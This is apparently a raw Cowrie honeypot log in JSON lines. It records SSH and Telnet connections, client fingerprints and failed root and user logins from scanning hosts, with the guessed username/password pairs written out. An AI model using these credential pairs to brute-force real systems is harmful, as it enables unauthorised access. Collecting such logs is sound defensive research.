{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:49.868920Z","src_ip":"103.27.238.114","session":"e1d8bb9e669c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:50.145571Z","src_ip":"103.27.238.114","session":"e1d8bb9e669c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.42048358917236,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:50.952232Z","src_ip":"152.42.224.71","session":"5575b639e1b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:50.976433Z","src_ip":"103.27.238.114","session":"e1d8bb9e669c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:52.258688Z","src_ip":"103.27.238.114","session":"e1d8bb9e669c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.36764907836914,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:53.222955Z","src_ip":"152.42.224.71","session":"c8c2f899d89a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59524,"dst_ip":"159.203.135.109","dst_port":22,"session":"87518c71dcdd","protocol":"ssh","message":"New connection: 31.40.204.166:59524 (159.203.135.109:22) [session: 87518c71dcdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:55.699776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:55.711098Z","src_ip":"31.40.204.166","session":"87518c71dcdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:55.823580Z","src_ip":"31.40.204.166","session":"87518c71dcdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:56.622160Z","src_ip":"31.40.204.166","session":"87518c71dcdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:57.794709Z","src_ip":"31.40.204.166","session":"87518c71dcdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00142526626587,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:58.383133Z","src_ip":"152.42.224.71","session":"9eb0e343fbcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60304,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e06a6a8245f","protocol":"ssh","message":"New connection: 103.176.20.57:60304 (159.203.135.109:22) [session: 9e06a6a8245f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:59.110114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:59.114862Z","src_ip":"103.176.20.57","session":"9e06a6a8245f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:59.361589Z","src_ip":"103.176.20.57","session":"9e06a6a8245f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":63526,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a2f2df7b50e","protocol":"ssh","message":"New connection: 101.36.108.213:63526 (159.203.135.109:22) [session: 0a2f2df7b50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:59.370187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:59.375468Z","src_ip":"101.36.108.213","session":"0a2f2df7b50e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:59.595767Z","src_ip":"101.36.108.213","session":"0a2f2df7b50e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1993","message":"login attempt [root/1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:00.100631Z","src_ip":"103.176.20.57","session":"9e06a6a8245f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C@vid19","message":"login attempt [root/C@vid19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:00.487698Z","src_ip":"101.36.108.213","session":"0a2f2df7b50e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":109.34444046020508,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:00.881465Z","src_ip":"152.42.224.71","session":"c8f17d35cf38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:01.348379Z","src_ip":"103.176.20.57","session":"9e06a6a8245f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:01.706146Z","src_ip":"101.36.108.213","session":"0a2f2df7b50e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56260,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf0d017cce2","protocol":"telnet","message":"New connection: 152.42.224.71:56260 (10.17.0.5:23) [session: ddf0d017cce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:03.325034Z"}
{"eventid":"cowrie.session.closed","duration":120.00320100784302,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:06.963672Z","src_ip":"152.42.224.71","session":"dd5d3c00ef02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45210,"dst_ip":"159.203.135.109","dst_port":22,"session":"f32942d5be79","protocol":"ssh","message":"New connection: 31.40.204.166:45210 (159.203.135.109:22) [session: f32942d5be79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:07.588385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:07.789103Z","src_ip":"31.40.204.166","session":"f32942d5be79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:07.794156Z","src_ip":"31.40.204.166","session":"f32942d5be79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:08.534743Z","src_ip":"31.40.204.166","session":"f32942d5be79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:09.695115Z","src_ip":"31.40.204.166","session":"f32942d5be79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33306,"dst_ip":"10.17.0.5","dst_port":23,"session":"35660db64324","protocol":"telnet","message":"New connection: 152.42.224.71:33306 (10.17.0.5:23) [session: 35660db64324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:11.563002Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33316,"dst_ip":"10.17.0.5","dst_port":23,"session":"68c164aa87b2","protocol":"telnet","message":"New connection: 152.42.224.71:33316 (10.17.0.5:23) [session: 68c164aa87b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:12.893884Z"}
{"eventid":"cowrie.session.closed","duration":29.296984910964966,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:13.883210Z","src_ip":"152.42.224.71","session":"10c1e60432dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45076,"dst_ip":"10.17.0.5","dst_port":23,"session":"614bc48c808e","protocol":"telnet","message":"New connection: 152.42.224.71:45076 (10.17.0.5:23) [session: 614bc48c808e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:17.403529Z"}
{"eventid":"cowrie.session.closed","duration":47.63029766082764,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:19.277586Z","src_ip":"152.42.224.71","session":"3c097a814351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6b7e5dc4037","protocol":"ssh","message":"New connection: 31.40.204.166:52624 (159.203.135.109:22) [session: f6b7e5dc4037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:19.617087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:19.625153Z","src_ip":"31.40.204.166","session":"f6b7e5dc4037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:19.791458Z","src_ip":"31.40.204.166","session":"f6b7e5dc4037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grok","password":"12345678","message":"login attempt [grok/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:20.387049Z","src_ip":"31.40.204.166","session":"f6b7e5dc4037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:21.513320Z","src_ip":"31.40.204.166","session":"f6b7e5dc4037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.53309464454651,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:25.249592Z","src_ip":"152.42.224.71","session":"3747ec9d4ce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.68094253540039,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:27.232470Z","src_ip":"152.42.224.71","session":"bc646a10cab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.955058574676514,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:29.382350Z","src_ip":"152.42.224.71","session":"b3843f798acb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.404775857925415,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:30.392065Z","src_ip":"152.42.224.71","session":"a6e539363eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43338,"dst_ip":"10.17.0.5","dst_port":23,"session":"a809787a2497","protocol":"telnet","message":"New connection: 152.42.224.71:43338 (10.17.0.5:23) [session: a809787a2497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:32.262692Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57170,"dst_ip":"159.203.135.109","dst_port":22,"session":"152ee86b87bb","protocol":"ssh","message":"New connection: 31.40.204.166:57170 (159.203.135.109:22) [session: 152ee86b87bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:32.682276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:32.704736Z","src_ip":"31.40.204.166","session":"152ee86b87bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:32.807704Z","src_ip":"31.40.204.166","session":"152ee86b87bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:33.389691Z","src_ip":"31.40.204.166","session":"152ee86b87bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43344,"dst_ip":"10.17.0.5","dst_port":23,"session":"3579f688dd40","protocol":"telnet","message":"New connection: 152.42.224.71:43344 (10.17.0.5:23) [session: 3579f688dd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:34:34.329487Z"}
